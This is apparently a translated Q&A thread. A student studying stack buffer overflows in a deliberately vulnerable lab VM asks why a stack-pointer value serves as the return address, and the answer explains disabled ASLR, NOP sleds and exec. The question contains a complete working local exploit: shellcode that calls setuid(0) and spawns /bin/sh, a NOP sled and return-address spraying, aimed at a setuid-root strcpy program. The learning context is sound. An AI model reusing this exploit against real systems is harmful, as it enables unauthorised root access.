我是一名正在研究堆栈缓冲区溢出如何工作的计算机工程专业的学生。我正在读的这本书是Jon Erickson的“剥削的艺术”(第1版)。 为了练习我正在学习的东西,我在虚拟机中安装了Damn Vulnerable Linux发行版。我已禁用ASRL(kernel.randomize_va_space = 0),我用 GCC 3.4.6 编译了以下代码,我正在使用 GDB 6.6 和内核分布 2.6.20 。我的电脑有英特尔处理器。 易受攻击的程序(test2)由root创建,并设置为setuid。
易受攻击的代码如下:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
虽然普通(非root)用户创建的漏洞利用代码如下:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
该程序有效,它利用了test2中的缓冲区溢出漏洞并给了我一个root shell。 即使在多次阅读本书并尝试在互联网上找到答案之后,我还不明白为什么我们存储在变量 esp 中的堆栈指针的值是返回地址我们的shellcode。我已经用GDB拆解了程序,一切都按照作者的说法运行,但我不明白为什么会这样。
我希望向您展示反汇编程序的外观以及内存在执行过程中的样子,但我无法从虚拟机上的来宾计算机中复制/粘贴,而且我不允许在我的虚拟机中插入图像题。所以我只能尝试描述在执行程序main期间发生的事情(在test2中利用BOF的那个):
反汇编主,我看到堆栈上分配了28个字节(7个变量* 4个字节)。然后调用函数sp()并将堆栈指针的值存储在 esp 中。存储在变量esp中的值为 0xbffff344 。然后,正如您所看到的,我们有一些printf,我们将有效负载存储在buffer2中,然后我们调用execl函数将buffer2作为参数传递。
现在root shell出现,然后程序退出。在设置不同的偏移量后反汇编程序,我可以清楚地看到 0xbffff344 正是执行test2时存储有效负载的地址。你能解释一下这是怎么发生的吗? execl是否为test2程序设置了一个新的堆栈框架?在main.c中,在堆栈上只分配了28个字节,而在test2中,在堆栈上分配了500个字节(对于buffer2)。那么我怎么知道我在main.c中得到的堆栈指针恰好是shellcode的返回地址?
如果我写了一些愚蠢的话,我感谢你并道歉。
答案 0 :(得分:2)
你能解释一下这是怎么发生的吗?
当禁用ASLR时,每个可执行文件都从相同的地址开始,因此给定堆栈指针,您可以猜测所需的偏移量,以便在test2中找到缓冲区位置。这也是NOP雪橇变得有用的地方,因为如果偏移量不是shellcode的确切位移,它会给你多次命中。
那就是说,在你的漏洞利用程序的主要功能中,ESP的值是test2中执行缓冲区的位置似乎是不正确的。你确定你没有误解gdb结果吗?
您应该能够使用以下方法计算缓冲区的偏移量:esp - 500 + 28。
请注意,使用此类公式时应始终戴手套:编译器如何处理本地人,(大小,顺序等)可能会有所不同。
那么我怎么知道我在main.c中得到的堆栈指针恰好是shellcode的返回地址?
嗯,你没有。这取决于机器,程序如何编译等。
execl是否为test2程序设置了一个新的堆栈框架?
来自execve手册页:
exec系列函数应替换当前的过程映像 使用新的过程映像。新图像应由a构成 常规的可执行文件,称为新的过程映像文件。那里 因为调用过程,应该不会从成功的执行官那里返回 图像被新的过程图像覆盖。
用于test2的新堆栈覆盖了堆栈。
希望有所帮助:)